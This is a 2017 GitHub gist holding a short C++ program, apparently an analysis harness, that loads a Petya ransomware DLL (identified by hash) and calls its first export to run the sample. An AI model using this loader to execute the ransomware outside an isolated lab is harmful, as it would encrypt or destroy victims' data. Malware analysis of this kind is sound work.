Created
June 27, 2017 20:35
-
-
Save jayint3z3r/b100339590b27cffacd8eab488c82c0d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <iostream> | |
// Petya sample hash: 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745 | |
typedef void(__cdecl *PETYAEXPORT)(LPCWSTR, DWORD, DWORD, DWORD); | |
int main() { | |
HMODULE hmodule = LoadLibraryA("petya.dll"); | |
if (!hmodule) { | |
printf("Failed to load petya DLL.\n"); | |
return FALSE; | |
} | |
PETYAEXPORT petya_func = (PETYAEXPORT)GetProcAddress(hmodule, (LPCSTR)1); | |
if (!petya_func) { | |
printf("Failed to get address of export.\n"); | |
return FALSE; | |
} | |
(*petya_func)(L"-h", 0, 0, -1); | |
printf("Succesfully called petya export.\n"); | |
system("pause"); | |
return TRUE; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment